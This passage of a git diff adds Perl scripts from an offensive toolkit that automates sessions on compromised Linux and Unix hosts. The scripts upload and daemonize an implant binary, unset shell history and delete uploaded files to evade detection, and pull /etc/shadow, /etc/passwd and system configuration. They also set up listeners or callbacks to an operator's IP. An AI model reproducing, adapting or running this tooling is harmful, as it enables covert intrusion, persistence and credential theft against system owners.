> 0) { + mydie("Zero-length file detected. Use -touch instead."); + } + + # Check for any files on target first. + offerabort + ( + "${COLOR_FAILURE}".`ls -lt $localfile`."${COLOR_NORMAL}". + "\n\nPreparing to do upload of $localfile to $remotepath/$remotename." + ); + ($output,$nopenlines,@output) = nopenlss("-UFQ","$remotepath/$remotename"); + if (grep {/\/$remotename$/} split(/\s+/,$output)) { + mydie("$remotepath/$remotename exists on target!\n\n\n@output\n\n"); + } + + # Do the upload + doit("-put $localfile $remotepath/$remotename"); + $putfile++; + + progprint("$localfile uploaded successfully to target at $remotepath/$remotename"); + return 0; +} + +dofileupload(); + +sub dobinarystart { + my $cmdline=""; + my $statuscode=0; + my $currentline=""; + my @pids=(); + my %origpids=(); + my @ourpslines=(); + my $message="$remotepath/$remotename started at PID"; + + # Build the command line used to start the binary on target. + if ($genpastable) { + # We need to close file descriptors first. + $cmdline = "#\!/bin/sh\nunset HISTFILE\nunset HISTFILESIZE\nunset HISTSIZE\n/bin/rm -f $remotepath/.$remotename\n"; + my $count = 0; + my $upperbound = 9; + # Find the upper bound of descriptors that we need to close. + my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid, + $targetport) = parsestatus(); + my ($filedes,$nopenlines,@filedes) = doit("-ls -1 /proc/$targetpid/fd"); + $filedes = ""; + for (my $i=0;$i<@filedes;$i++) { + $filedes[$i] =~ s,.*/,,g; + $filedes[$i] =~ s,\D,,g; + } + dbg("in autodeploy dobinarystart, got filedes list =@filedes= upperbound=$upperbound= filedes=$filedes"); +# ($upperbound) = $filedes[$#filedes] =~ /(\d+)\s*$/; +#$upperbound=255; + dbg("in autodeploy dobinarystart, upper bound=$upperbound= startat0=$startatzero="); + foreach (@filedes) { + # This next will skip empty ones AND "0" which is what we want. + next unless $_; + $cmdline .= "\nexec " unless $count++ % 16; + $cmdline .= "$_>&- "; + } + $cmdline .= "\n"; + $cmdline .= "cd $remotepath\n" if $startalt; + } + if ($start) { + $cmdline .= "PATH=$remotepath " if length $beforeargs; + $cmdline .= "$beforeargs " if length $beforeargs; + $cmdline .= "$remotename $afterargs &\n"; + } + if ($startalt) { + $cmdline .= "$beforeargs " if length $beforeargs; + $cmdline .= "./$remotename $afterargs &\n"; + } + if ($genpastable) { + $cmdline .= "retval=\$\?\n/bin/sleep 1\n/bin/rm -f $remotepath/$remotename\nexit \$retval\n"; + } + chomp($cmdline) unless $genpastable; + + # Find our remotename and its PID(s) in the processlist. We need something to skip. + ($output,$nopenlines,@output) = doit("=ps | grep $remotename"); + my @grepoutput = grep {!/grep/} @output; + if (scalar @grepoutput > 0) { + foreach $psline (@grepoutput) { +# $seenit{$psline}; + #dbg("in autodeploy dobinarystart, parsing psline =$psline="); + if ($psline =~ /^.*root\s*(\d+).*$remotename/) { + #dbg("in autodeploy dobinarystart, found an image with our name at pid =$1="); + $origpids{$1}++; + } + } + dbg("in autodeploy dobinarystart, origpids=%origpids="); + } + unless ($genpastable) { + offerabort + ( + "Ready to start $remotepath/$remotename using the following command line:\n\n". + "$cmdline" + ); + doit("-cd $remotepath") if $startalt; + ($output,$nopenlines,@output) = doit("$cmdline ; echo \$?"); + ($statuscode) = grep {/^(\d+)/} split(/\s+/,$output); + dbg("in autodeploy dobinarystart, got status code =$statuscode="); + doit("-cdp") if $startalt; + } + else { + # Create the script to be uploaded. + my $autocmdline=""; + unlink("$opup/deploy.auto"); + open(SCRIPT, "> $opup/deploy.auto") or mydie("Can't open binary start script: $!"); + select SCRIPT; + print $cmdline; + close(SCRIPT); + select STDOUT; + offerabort + ( + "Because you passed -p, we need to start the binary using a separate script.\n\n". + "The following script has been generated and will be uploaded and invoked as ${COLOR_FAILURE}$remotepath/\.$remotename${COLOR_NORMAL} when we continue:\n\n". + "$cmdline" + ); + + # Upload the script and run it. + doit("-put $opup/deploy.auto $remotepath/\.$remotename"); + $putscript++; + + if ($start) { + $autocmdline = "PATH=$remotepath \.$remotename"; + } + if ($startalt) { + $autocmdline = "./\.$remotename"; + } + doit("-cd $remotepath") if $startalt; + ($output,$nopenlines,@output) = doit("$autocmdline ; echo \$?"); + ($statuscode) = grep {/^(\d+)/} split(/\s+/,$output); + dbg("in autodeploy dobinarystart, got deploy.auto status code =$statuscode="); + doit("-cdp") if $startalt; + } + + # Find our remotename and its PID(s) in the processlist, skipping what was there before. + ($output,$nopenlines,@output) = doit("=ps | grep $remotename"); + @grepoutput = grep {!/grep/} @output; + if (!(scalar @grepoutput > 0)) { + doit("/bin/rm -f $remotepath/$remotename"); + mydie("$remotepath/$remotename failed to start!!"); + } + foreach $psline (@grepoutput) { +# next if $seenit{$psline}; + dbg("in autodeploy dobinarystart, parsing psline =$psline="); + if ($psline =~ /^.*root\s*(\d+).*$remotename/) { + # Did we see it already? + #dbg("in autodeploy dobinarystart, found an image with our name at pid =$1="); + my $pid = $1; + #dbg("in autodeploy dobinarystart, found a pid =$origpid="); + next if ($origpids{$1}) ; + push(@ourpslines,"$psline\n"); + push(@pids,$pid); + } + } + + # Now, get rid of everything that was here before us. + + # Build our banner. + $message .= "s" if (scalar @pids > 1); + foreach $pid (@pids) { + $message .= " $pid"; + } + $message .= " with status code $statuscode:\n\n${COLOR_NOTE}@ourpslines${COLOR_NORMAL}"; + + doit("/bin/rm -f $remotepath/$remotename"); + progprint($message); + return 0; +} + +dobinarystart() if $start or $startalt; + +# End with true value as we require this script elsewhere. +1; +#ENDMAIN + +sub mymydie { + if ($putfile) { + myalert("You still have $remotepath/$remotename up there..."); + doit("-rm $remotepath/$remotename"); + } + if ($putscript) { + myalert("You still have $remotepath/.$remotename up there..."); + doit("-rm $remotepath/$remotename"); + } + mydie(@_); +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs deploy @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs deploy"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=deploy\" is used. + +"; + $gsusagetext=" +Usage: $prog [options] + +$prog uploads a standalone implant binary to a target, verifies with a + simple checksum that it is intact, and starts the binary in daemonized form. + +OPTIONS + -h/-v Show help/version + -l path Location of local file to be uploaded and started + -r name Remote name of uploaded file + -d dir Full path of remote location of uploaded file (def. /tmp) + -B ARGS Arguments to insert BEFORE the binary \$NAME + -A ARGS Arguments to insert AFTER the binary \$NAME + -S Run the binary using ./\$NAME + -W name $prog will build a script to execute the uploaded file. Both + file and script will be uploaded, the script will first close + all file descriptors bigger than 2. + + +"; + $gsusagetext_notused=" + -p Start the binary using deploy.auto +"; + + mydie("bad option(s)") if (! Getopts( "hvl:r:d:pB:A:sSW:" ) ); + usage() if ($opt_h or $opt_v); + + mydie("-W and -r cannot be the same name ($opt_W)") + if ($opt_W eq $opt_r); + + mydie("-W and -r cannot contain a /") + if ("$opt_W$opt_r" =~ m,/,); + + mydie("You must provide a local filename with -l") + unless ($opt_l and length $opt_l > 0); + + dbg("in autodeploy, opt_l = =$opt_l="); + mydie("Local file path does not exist!") unless (-e $opt_l); + $localfile = $opt_l; + +# mydie( + + mydie("You must provide a filename with -r") + unless ($opt_r and length $opt_r > 0); + dbg("in autodeploy, opt_r = =$opt_r="); + $remotename = $opt_r; + + $remotepath = "/tmp"; + if ($opt_d and length $opt_d > 0) { + dbg("in autodeploy, opt_d = =$opt_d="); + mydie("Remote path does not begin with a slash!") unless ($opt_d =~ m,^/,); + $remotepath = $opt_d; + } + $genpastable = $opt_p; + $startalt = $opt_S; + $start = 0 if $startalt; + $beforeargs = $opt_B; + $afterargs = $opt_A; + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +} diff --git a/Linux/etc/autodfcheck b/Linux/etc/autodfcheck new file mode 100755 index 0000000..5ace6d4 --- /dev/null +++ b/Linux/etc/autodfcheck @@ -0,0 +1,122 @@ +#!/usr/bin/env perl +## +$VER="1.3.0.8" ; +# nopen seems happier with stderr in lsh runs +#select STDERR ; +$| = 1 ; +myinit() ; + +# Skip it if the file /current/down/df.skipcheck.$nopen_rhostname exists. +dodfcheck() unless (-e "$opdown/df.skipcheck.$nopen_rhostname"); + +1; + +sub dodfcheck { +#TODO: CHANGE THIS to autoutils, with autoport, use variables +# make it OS specific? +# move the which prtvtoc from autdone to here? + +# +# +# NOTE: Every run of dfcheck writes this file, but only those hosts +# that actually ARE Linux boxes (where =alwaysdothis calls +# gs.autodothis.linux) will do the stuff. + my $dfcmd = "=df"; + if (-s "$opdown/df.usethis.$nopen_rhostname") { + chomp(my $cmd = readfile("$opdown/df.usethis.$nopen_rhostname")); + if ($cmd =~ m,^df,) { + $dfcmd = $cmd; + } else { + return 1; + } + } + if ($linuxtarget) { + open(DFOUT,"> $opetc/gs.autodothis.linux.2.$nopen_rhostname") || + die "Unable to open $opetc/gs.autodothis.linux.2.$nopen_rhostname" ; + print DFOUT "#NOGS\n"; + } + # Always do $dfcmd -l + ($output,$nopenlines,@output) = doitwrite("$dfcmd -l") ; + @commands = (); + # We do full df here for posterity if $autodone + if ($autodone or !$output or $output =~ /invalid option/i) { + #push(@commands,"$dfcmd >T:$opdown/dfcheck.$nopen_rhostname"); + push(@commands,$dfcmd); + preservefile("$opdown/dfcheck.$nopen_rhostname"); + } + my $warnings = ""; + foreach $cmd (@commands) { + ($output,$nopenlines,@output) = doitwrite("$cmd"); + writefile("$opdown/dfcheck.$nopen_rhostname",$output); + foreach (@output) { + if ($linuxtarget and /^\s*(\/dev\/[a-z]+)\d+\s+/ and ! $hddone{$1}++ ) { + print DFOUT "-nohist hdparm -I $1\n" ; + } + next if (/cdrom/); # No worries if CD is 100% + if (($pct) = /\s(\d+)\%/ and $pct > $maxpct) { + $warnings .= "$_\n" unless $warned{$_}++; + }#if + }#foreach (@output) + }#foreach $cmd (@commands) + close(DFOUT) if $linuxtarget; + + # Do warnings last so more visible + chomp($warnings); + mywarn("\nAlmost FULL partitions:\n$warnings",$COLOR_FAILURE) + if $warnings; + + return 1; +} + +# End with true value as we require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs dfcheck @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog =~ s/^auto/-gs /; + $| = 1; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + $autodone++ if ("@ARGV" =~ /autodone/) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"-gs dfcheck\" is used. + +"; + $gsusagetext="Usage: -gs dfcheck [-h] [ NN ] + +-gs dfcheck calls $opetc/autodfcheck [ NN ], which shows$COLOR_FAILURE in red$COLOR_NORMAL +all lines in the \"df -k\" output with capacity percentage +more than NN%, which defaults to 90%. + +"; + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + usage() if ($opt_h or $opt_v) ; + #default + $maxpct = 90 ; + while ( my $arg = shift @ARGV ) { + $maxpct = int($arg) if ($arg and $arg == int($arg) and $arg > 0) ; + } + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +} #myinit diff --git a/Linux/etc/autodoNOTburn b/Linux/etc/autodoNOTburn new file mode 100755 index 0000000..ef44672 --- /dev/null +++ b/Linux/etc/autodoNOTburn @@ -0,0 +1,64 @@ +#!/usr/bin/env perl +## +# This should have almost no logic in it. Put it all in autoutils:nopendoNOTburn(), + +$VER="1.0.0.1"; +$| = 1 ; + +myinit() ; + +$prog = "autodoNOTburn"; +newhostvar("host_donotburn{$nopen_rhostname}","$prog"); + +progprint($COLOR_NORMAL."\n".gmtime()."\n\n". + "Just set the following variable in your host variable file\n". + " ($hostvarfile)\n". + "so that -burnBURN will NOT prompt you to -burn when the time comes and\n". + "will instead show you what to do to get off the box without -burn/BURN:\n\n". + " \$host_donotburn{\"$nopen_rhostname\"} = \"$prog\";". + "\n\n"); + +1; + +## END MAIN ## + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs doNOTburn"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session with \"$prog\". + +"; + + $gsusagetext = " +Usage: -gs doNOTburn + +-gs doNOTburn sets a local op-wide variable that all windows on this host ONLY +will use that will cause -burnBURN to finish its checks and then NOT run -burn, +but instead give you the right kill/-exit sequence to get off the target. + +Usage: -gs doNOTburn + +"; + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + usage() if ($opt_h or $opt_v) ; + +# $socket = pilotstart(quiet); + +} #myinit + diff --git a/Linux/etc/autodone b/Linux/etc/autodone new file mode 100755 index 0000000..81dcefb --- /dev/null +++ b/Linux/etc/autodone @@ -0,0 +1,448 @@ +#!/usr/bin/env perl +# NOTE: Order in this script is what determines order in hostinfo.* file +$VER="1.20.4.10" ; +$ext = $$ ; # limits likelihood of concurrent autodone's colliding + # BUT: still possible. + # not too likely to happen. +myinit() ; +# promptkill puts itself into /usr/local/bin if none or an older one is there +# so this makes sure /usr/local/bin is current even if promptkill does not get +# used this op +`$opbin/promptkill -v` if (-x "$opbin/promptkill"); +`cp -f $opetc/autoautoget $opbin 2>/dev/null` ; +chomp($inlab = `ifconfig 2>&1 | grep 135.1.2`) ; +unlink("$opetc/autonext.$ext") ; +if (open(NOTETMP,"> $optmp/autodone.note")) { + print NOTETMP "\n$COLOR_FAILURE\n/FNAME not complete download, cut off at MAXSIZE bytes--appended .partial\n\n$COLOR_NORMAL\n"; +} +close(NOTETMP); +open(NOPENOUT,"> $opetc/autonext.$ext") || + mydie("cannot open $opetc/autonext.$ext"); +doit("#NOGS") ; +doit("-lsh echo rm -f $opetc/autonext 2>/dev/null"); +doit("-gs scriptcheck"); +doit("-gs sessioninit"); +if (! (-e "$optmp/autodone.$nopen_rhostname" or -e "$optmp/autodont")) { + `sed "s/GSOPTIONS/$nopen_rhostname.$nopen_mypid/g" $opetc/gs.idsscript > $opetc/gs.idsscript.$nopen_rhostname.$nopen_mypid` ; + if(-e "$opetc/nocallbackprompt") { + unlink("$opetc/nocallbackprompt") ; + } else { + my $port = myrand() ; + my @choices = ("N","A","C","D"); + my ($valextra,$valextra2) =(); + if (my $valconnection = `pschain` =~ /noclient -i \d+/) { + @choices = ("L",@choices); + $valextra = "\n L) Start a listener on $port (or enter \"L ##\" to pick your own port)"; + $valextra2= "$COLOR_FAILURE\nNOTE\a: You got here with Unix VAL so this is your one and only possible window thus far,\n". + "and has no listener yet.$COLOR_NORMAL To get a second window you must either start a listener or do a\n". + "callback. The default will start a listener on a random port. -nstun $nopen_myip:$port\n". + " noclient $nopen_myip:$port\n\n"; + } + $ans = getinput("${COLOR_FAILURE} +autodone v.$VER + +About to run \"autodone\" commands. This could take a while to run.\a$COLOR_NORMAL + +Choices: +$valextra + N) NOPEN will not callback--your only window will be busy for a while. + C) Have NOPEN callback to give you another window, then proceed with autodone. + A) Abort autodone for this window/session. + D) Abort autodone PERMANENTLY for this host in this and any other NOPEN window. + + NOTE: Only choose \"D\" if you know this host has already been done (perhaps + under a different IP?), or you DO NOT WANT it done, AND DO NOT want it + done later. AND, you'd better have a REALLY good reason... +$valextra2 +Choose from above:",@choices); + $port = $1 if ($ans =~ /[cl]\s*(\d+)/i and $1 > 0); + if ($ans =~ /^l/i) { + $dofirst = "\n-listen $port" ; + # For now we write to .new file. The mv below makes the next scriptcheck + # see and try to confirm this port. + if (open(DIDTHIS,"> $optmp/UnixVallisten.$nopen_rhostname.new")) { + print DIDTHIS $port ; + doit("-lsh mv $optmp/UnixVallisten.$nopen_rhostname.new $optmp/UnixVallisten.$nopen_rhostname"); + } + close(DIDTHIS); + if (open(DIDTHIS,"+< $opdown/didthis")) { + my ($toip,$valyes,$fromwhere) = (); + while () { + next if $_ eq "\n"; + ($fromwhere,$toip) = /From (.+) to (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + ($valyes) = ($toip and /UnixVal trigger/); + } + if ($valyes and ($toip eq $nopen_myip)) { + my $how = "noclient"; + $how = "-nstun" if ($fromwhere ne "command line"); + print DIDTHIS "# UnixVal session so autodone v$VER started listener at $port per user\n"; + print DIDTHIS "$how $nopen_myip:$port\n\n"; + } + close(DIDTHIS); + } + } elsif ($ans =~ /^c/i) { + chomp($didthis = `grep noclient.*$nopen_myip $opdown/didthis 2>/dev/null | grep -v "^#"`) ; + my $defip = $local_ip if $didthis ; + my $looped=0; + while (1) { + progprint("Invalid IP",$COLOR_FAILURE) if $looped ; + $ip = getinput("To what IP (or Abort)?",$defip); + last if ($ip =~ /^a/i) ; + $looped++ ; + last if (ipcheck($ip)) ; + } + unless ($ip =~ /a/i) { + $port = getinput("To what port?",$port); + $dofirst = "\n-call $ip $port" ; + my ($noclientline,$atip) = () ; + if ($ip eq $local_ip) { + $noclientline = "\n\nnoclient -l $port\n\n" ; + } else { + $noclientline = "\n\n-nrtun $port\n\n" ; + $atip = " (at correct IP: $ip)" ; + } + getinput("${noclientline}Get that listener started$atip and press Enter..."); + } + } + } + if ($ans =~ /^[ad]/i) { + my $more = "" ; + if ($ans =~ /^d/i) { + $more = " PERMANENTLY for $nopen_rhostname!" ; + system("touch $optmp/autodone.$nopen_rhostname"); + } + progprint("ABORTING autodone$more",$COLOR_FAILURE); + } else { + # Set these files aside as .old if they exist + foreach ("$opdown/rpcinfo.$nopen_rhostname", + "$opdown/dmesg.$nopen_rhostname", + "$opdown/ls_etc-ct.$nopen_rhostname", + ) { + if (-e $_) { + my $ext = "000"; + $ext++ while (-e "$_.$ext"); + rename($_,"$_.$ext"); + } + } +# my $extrapscheckarg = "" ; + # New 20060426: We look in + my $hackdirs = "@hackdirs"; + $hackdirs =~ s/ /,/g; + my $extrapscheckarg = "-D $hackdirs" ; + if ($nopen_serverinfo =~ /linux/i) { + $extrapscheckarg = "-s" ; # no sorting needed for linux + } + if ($nopen_serverinfo =~ /osf/) { + # TODO: change from gettail to interactive/autoport size check/get + $moreauthlogs = "/var/adm/syslog.dated/current/auth.log"; + } + $doproject = "\n-gs doproject"; + $doproject = "" unless $nopen_autoport; + $dolast = "\n-gs checklast"; + my $popup=0; + my ($sulogpopup) = (); + if ($popup) { + $sulogpopup = " -p"; + } + $hackdirs = ""; + dbg("hackdirs=(@hackdirs)"); + foreach (@hackdirs) { + next unless length $_; + $hackdirs .= " $_/*"; + } +# $hackdirs =~ s, ,/* ,; + dbg("hackdirs=$hackdirs"); + my $docksum = "\n-ls -n -R /bin/ps /bin/netstat $hackdirs >> T:$optmp/hacksums.$nopen_rhostname". + "\n-ls -u -R /bin/ps /bin/netstat $hackdirs >> T:$optmp/hacksums.$nopen_rhostname". + "\n-cksum /bin/ps /bin/netstat $hackdirs >> T:$optmp/hacksums.$nopen_rhostname"; + + $docksum = "" if (-e "$optmp/hacksums.$nopen_rhostname"); + print NOPENOUT <<"EOF"; +# BEGIN running $opetc/autonext on $nopen_rhostname output in $nopen_mylog (v.$VER) +-lsh date -u ; touch $optmp/autodone.$nopen_rhostname$dofirst$doproject +# hostname disabled via alias, {backslash}hostname lets us call it here. +\\hostname +grep -v "^#" /etc/syslog.conf >> T:$optmp/.syslog.$nopen_rhostname$docksum +netstat -an ; netstat -rn >> T:$opdown/netstat.$nopen_rhostname +=autorpc > L:$opdown/rpcinfo.$nopen_rhostname +domainname +=pscheck $extrapscheckarg autodone +-get /etc/hosts* /etc/inet/hosts* +-cat /etc/hostname* +EOF + my $maxsize = 100000; + foreach ("/etc/syslog.conf","/etc/inetd.conf","/etc/inet/inetd.conf", + "/etc/passwd","/etc/shadow","/etc/master.passwd","/etc/security/passwd", + # SMALLER FILES LAST--any after /issue/ max at 5000 + "/etc/issue","/etc/issue.net", + ) { + $maxsize = 5000 if /issue/; + my ($lf) = /^.(.*)/ ; +#-lsh cd $opdown/$nopen_rhostname ; [ -e $lf ] && [ \`stat $lf --format=%s\` == $maxsize ] && mv $lf $lf.partial && echo -e \"\\\\n\\\\n$lf not complete download, cut off at $maxsize bytes--renamed to $lf.partial\\\\n\\\\n\" + my $lf2 = $lf; + $lf2 =~ s/,/\\,/g; + print NOPENOUT <<"EOF"; + +-oget -e $maxsize $_ +-lsh cd $opdown/$nopen_rhostname ; [ -e $lf ] && [ \`ls -l $lf | awk '{print \$5}'\` == $maxsize ] && mv $lf $lf.partial && cat $optmp/autodone.note | sed "s,FNAME,$lf2,g" | sed "s,MAXSIZE,$maxsize,g" +EOF + } + print NOPENOUT <<"EOF"; +-gs gettail$sulogpopup -200 /var/adm/sulog /var/log/sulog $moreauthlogs +-lsh rm -f `find $opdown/$nopen_rhostname -name "*.tail" -o -name "*.tail.[0-9]*" -empty -print` +-getenv +=locale +-coreadm +=procinfo +-gs dfcheck autodone +=alwaysdothis +-gs idsscript.$nopen_rhostname.$nopen_mypid +dmesg > L:$opdown/dmesg.$nopen_rhostname +egrep -i "memory|mem = " /var/log/messages /var/adm/messages /var/log/syslog | tail -20 >> L:$opdown/dmesg.$nopen_rhostname +hostid +ssh -V +-gs arp +=mac +=mkoffset +=croncheck +-ls -ct /etc > L:$opdown/ls_etc-ct.$nopen_rhostname +-w +uname -a +-gs getnewsuc +-status$dolast +# DONE running $opetc/autonext +-lsh date -u ; $opetc/gethostinfo.pl | grep -v "^Malformed UTF-8" | tee $opdown/hostinfo.$nopen_rhostname ; echo -e "${COLOR_FAILURE}Use \"-hostinfo\" to see hostinfo pop-up window${COLOR_NORMAL}" +EOF +#-gs $opetc/arpnext.$nopen_rhostname.$nopen_mypid + }#endif callback or abort +} +unlink("$opetc/nocallbackprompt") ; +# if autodo file for this host run commands in it +# NOTE: Make final line in this autodo file +# be "-lsh rm -f $opetc/autodo.$NOPEN_RHOSTNAME" if +# you only want this done on one nopen connection to +# this target, not all. +if (-e "$opetc/autodo.$nopen_rhostname") { + chomp(my $timestamp = `date -u +'%Y%m%d-%H%M%SZ'`) ; + my $dothis = `cat $opetc/autodo.$nopen_rhostname` ; + $dothis =~ s/TIMESTAMP/$timestamp/g ; + $dothis =~ s/NOPENRHOSTNAME/$nopen_rhostname/g ; + $dothis =~ s/NOPENMYPID/$nopen_mypid/g ; + print NOPENOUT $dothis ; +} + +# If multitargets is non-zero size, the first command is ours to run +# leave the rest for the next guy(s) +$burnstr = "" ; +if ($ENV{OURTNWINDOW}) { + if ( -s "$opetc/multitargets") { + if (open(IN,"< $opetc/multitargets")) { + open(OUT2,"> $opetc/multitargets.new") || + mydie("cannot create $opetc/multitargets.new"); + while () { + # first line of multitargets goes into $dothis, rest into .new file + next if ( /^\#/ or ! $_ ) ; + print OUT2 if $dothis ; # non-first lines go here + $dothis=$_ unless $dothis ; # first line goes here + } + close(IN) ; +# HERE: Pause if this was a callback to let operator get another window + doit("\# next hop:\n$dothis") if ($dothis) ; + close(OUT2); + unlink("$opetc/multitargets"); + rename("$opetc/multitargets.new","$opetc/multitargets"); + # set this so autoget does not do the -burnBURN + $burnstr = "-b" ; + } + } elsif (! $calledbynopen) { + if (-e "$opetc/donotburnthewitch") { + $burnstr = "-b" ; + unlink ("$opetc/donotburnthewitch") + } + } +} # end if -s "$opetc/multitargets" + +# if autoget file for this host run autoget which creates a +# nopen_auto.PID if need be, which always wipes itself. The default is +# for autoget to issue -burnBURN as last command in this nopen_auto script. +# Given any argument, autoget does NOT -burnBURN. +if (-e "$opetc/autoget.$nopen_rhostname" and -x "$opetc/autoautoget") { + doit("-lsh $opetc/autoautoget $burnstr ; sleep 1"); +} +close(NOPENOUT); +`cp $opetc/autonext.$ext /tmp`; +#exit if ( -e "$optmp/autodone.$nopen_rhostname") ; +if (! (-e "$optmp/autodone.$nopen_rhostname" or -e "$opetc/autodont")) { + @filterfiles = split(/\n/, + `find $opetc/autofilter*$nopen_rhostname* 2>/dev/null`) ; + if ($#filterfiles > 0) { + my $stuff = "" ; + foreach $f (@filterfiles) { + $stuff .= "\n\t$f" ; + } + mywarn("$stuff\n\n${COLOR_SUCCESS}Using: $filterfiles[0]\n", + $COLOR_WARNING,$COLOR_WARNING, + "Multiple autofilter files found"); + } + $filterfile = $filterfiles[0]; + if (-s "$filterfile") { + progprint("Applying filters: $filterfile",$COLOR_SUCCESS) ; + my $err = 0 ; + my $gotsome = 0 ; + open(FILTERS,"< $opetc/autofilter.$nopen_rhostname") or $err++ ; + open(OLDAUTONEXT,"< $opetc/autonext.$ext") or $err++ ; + open(NEWAUTONEXT,"> $opetc/autonext.new.$ext") or $err++ ; + open(FILTEREDOUT,"> $opetc/autonext.filtered.$nopen_rhostname.$nopen_mypid") or $err++ ; + # + print FILTEREDOUT "#NOGS\n" ; + if ($err) { + mywarn("WARNING: unable to use filters from:\n". + " $opetc/autofilter.$nopen_rhostname\n". + " Proceeding anyway without using filters.\n") ; + close(FILTERS); + close(OLDAUTONEXT); + close(NEWAUTONEXT); + close(FILTEREDOUT); + } else { + while (chomp($filt = )) { + push (@filters,$filt) unless ($filt eq "") ; + } + close(FILTERS); + my $tmpout = "Filtering out:\n" ; + OLDAUTO: while () { + foreach $filt (@filters) { + if (/$filt/ and ! /lsh.*gethostinfo.pl/ ) { + $gotsome++ ; + print FILTEREDOUT ; + $tmpout .= "\t$_" ; + next OLDAUTO ; + } + } + next OLDAUTO if ($_ eq $dothis) ; # save this for last below + print NEWAUTONEXT ; + } + if ($gotsome) { + progprint ($tmpout,$COLOR_WARNING) ; + if (open(TMPOUT,"> $opetc/showthis.$nopen_rhostname.$nopen_mypid")) { + select TMPOUT; + progprint("DID NOT run the following on $nopen_rhostname:$COLOR_WARNING\n\n". + `tail +2 $opetc/autonext.filtered.$nopen_rhostname.$nopen_mypid | grep -v gethostinfo.pl`."$COLOR_WARNING". + "\nTo run all of these later, from THIS SAME window on $nopen_rhostname, do:\n\n". + "${COLOR_FAILURE}-gs $opetc/autonext.filtered.$nopen_rhostname.$nopen_mypid\n", + $COLOR_WARNING) ; + select STDOUT ; + close(TMPOUT) ; + } + if (open(TMPOUT,"> $opetc/showthis.$nopen_rhostname")) { + select TMPOUT; + progprint("DID NOT run the following on $nopen_rhostname:$COLOR_FAILURE\n\n". + `tail +2 $opetc/autonext.filtered.$nopen_rhostname.$nopen_mypid | grep -v gethostinfo.pl`."$COLOR_WARNING". + "\nTo run all of these later, use the following, but$COLOR_FAILURE NOT FROM THIS WINDOW:\n\n". + "${COLOR_NOTE}-gs $opetc/autonext.filtered.$nopen_rhostname.$nopen_mypid\n", + $COLOR_WARNING) ; + select STDOUT ; + close(TMPOUT) ; + } + if (! fork) { # child waits 3 min and then writes this file, then exits + #TODO: Should this keep happening every N minutes? Until they run it? + close(OLDAUTONEXT); + close(NEWAUTONEXT); + close(FILTEREDOUT); + close(STDIN); + close(STDOUT); + close(STDERR); # NOT closing these causes noclient to wait for them to and never give prompt back + while (`find $opetc | grep showthis.$nopen_rhostname`) { + sleep 180 unless $inlab; + sleep 18 if $inlab; + if (-e "$opetc/nopen_auto.$nopen_mypid") { + unlink("$opetc/nopen_auto.$nopen_mypid") + unless (`find $opetc | grep showthis.$nopen_rhostname`) ; + } elsif (open(TMPOUT,">> $opetc/nopen_auto.$nopen_mypid")) { + # print TMPOUT "#NOGS\n-lsh cat $opetc/showthis.$nopen_rhostname.$nopen_mypid ; rm -f $opetc/nopen_auto.$nopen_mypid\n" ; + print TMPOUT "#NOGS\n". + "-lsh $opetc/autocheck ; rm -f $opetc/nopen_auto.$nopen_mypid\n" ; + close(TMPOUT) ; + } + } + exit ; + } + print FILTEREDOUT + ("-lsh rm -f $opetc/autonext.filtered.$nopen_rhostname.$nopen_mypid $opetc/showthis.$nopen_rhostname* $opdown/hostinfo.$nopen_rhostname\n". + "-lsh [ \"$nopen_mypid\" = \"\$NOPEN_MYPID\" ] && rm -f $opetc/nopen_auto.$nopen_mypid\n". + "-lsh $opetc/gethostinfo.pl -l $nopen_mylog | tee $opdown/hostinfo.$nopen_rhostname\n") ; + # print NEWAUTONEXT + # ("-lsh cat $opetc/showthis.$nopen_rhostname\n") if (-e "$opetc/showthis.$nopen_rhostname") ; + print NEWAUTONEXT $dothis if $dothis; + } else { + progprint("No matches found. Original autonext will be used.", + $COLOR_WARNING) ; + } + close(OLDAUTONEXT); + close(NEWAUTONEXT); + close(FILTEREDOUT); + unlink("$opetc/autonext.$ext") or mywarn("Cannot unlink $opetc/autonext.$ext") ; + rename("$opetc/autonext.new.$ext","$opetc/autonext.$ext") + or mywarn("Cannot rename $opetc/autonext.new.$ext to 